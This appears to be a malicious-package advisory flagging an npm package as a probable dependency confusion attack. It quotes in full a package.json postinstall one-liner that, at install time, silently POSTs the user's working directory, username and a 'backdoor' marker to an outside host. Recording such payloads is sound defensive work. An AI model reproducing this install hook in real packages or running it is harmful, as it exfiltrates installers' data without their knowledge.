GCVE-110-OSM-2026-2079

This is probably a bug bounty style package that is attempting a dependency confusion attack. Behaviors: install-time execution via package.json Payload: package.json Runs this command from the package.json: "node -e \"fetch('https://httpbin.org/post',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({backdoor:'supply-chain activated', package:'supply-chain-research-backdoor', cwd:process.cwd(), user:process.env.USER})}).catch(()=>{}); console.log('Research postinstall complete')" Key findings: - POST Method Defined for Exfiltration in package.json: "method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({b..." - Platform Detection with Data Collection in package.json: "JSON.stringify({backdoor:'supply-chain activated', package:'supply-chain-researc..." - Very New NPM Publisher Account